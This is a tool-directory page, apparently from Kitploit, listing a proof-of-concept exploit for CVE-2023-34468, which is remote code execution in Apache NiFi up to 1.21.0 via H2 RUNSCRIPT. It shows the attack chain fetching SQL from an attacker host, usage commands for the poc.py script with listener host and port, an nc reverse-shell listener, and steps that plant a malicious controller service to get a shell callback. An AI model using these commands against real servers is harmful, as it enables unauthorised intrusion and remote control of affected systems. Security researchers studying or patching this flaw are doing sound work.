Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-34468-POC — CVE-2023-34468 的 PoC 漏洞利用 — 通过 Apache NiFi <= 1.21.0 中的 H2 RUNSCRIPT 实现 RCE | Kitploit
工具/GitHubGitHub/0xsoulaimane/cve-2023-34468-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具Payload 开发
GitHub0xsoulaimane/cve-2023-34468-poc

CVE-2023-34468-POC

CVE-2023-34468 的 PoC 漏洞利用 — 通过 Apache NiFi <= 1.21.0 中的 H2 RUNSCRIPT 实现 RCE

查看仓库
44个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC

通过 H2 数据库 RUNSCRIPT 在 Apache NiFi <= 1.21.0 中实现远程代码执行


漏洞

Apache NiFi 默认捆绑了 H2 数据库 JAR。DBCPConnectionPool 控制器服务可配置为使用此 H2 驱动。H2 支持 RUNSCRIPT 语句,该语句可从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 CREATE ALIAS 定义 任意 Java 代码,并在服务器操作系统上执行。

攻击链:

root@kitploit:~
DBCPConnectionPool (H2 driver)
    → ExecuteSQL processor
        → RUNSCRIPT FROM http://attacker/rce.sql
            → CREATE ALIAS (Java method)
                → CALL SHELLEXEC (reverse shell)

受影响版本

SoftwareVersion
Apache NiFi<= 1.21.0
Fixed in1.21.1+
JavaAny (bundled)

要求

  • Python 3.x
  • requests 库 → pip install requests
  • 具有匿名写入权限或有效凭据的 NiFi 目标
  • 从目标到您机器的网络访问(用于反向 shell 回调)

用法

root@kitploit:~
python3 poc.py --target http://NiFi.target.com \
               --lhost 10.10.10.10 \
               --lport 4444 \
               --http-port 80 \
               --cleanup

参数

ArgumentDefaultDescription
--targethttp://NiFi.target.com目标 NiFi 基础 URL
--lhost10.10.10.10您的 IP (tun0)
--lport4444反向 shell 监听端口
--http-port80用于提供 rce.sql 的端口
--cleanupFalse运行后删除创建的工件

设置

终端 1 — 监听器:

root@kitploit:~
nc -lvnp 4444

终端 2 — 漏洞利用:

root@kitploit:~
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup

PoC 的功能

root@kitploit:~
Step 1  Check anonymous access and write permissions
Step 2  Get root Process Group ID
Step 3  Create malicious DBCPConnectionPool controller service
Step 4  Enable the controller service (handles revision versioning)
Step 5  Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6  Start the processor → NiFi fetches rce.sql → shell callback
Step 7  Cleanup (if --cleanup flag is set)
下载工具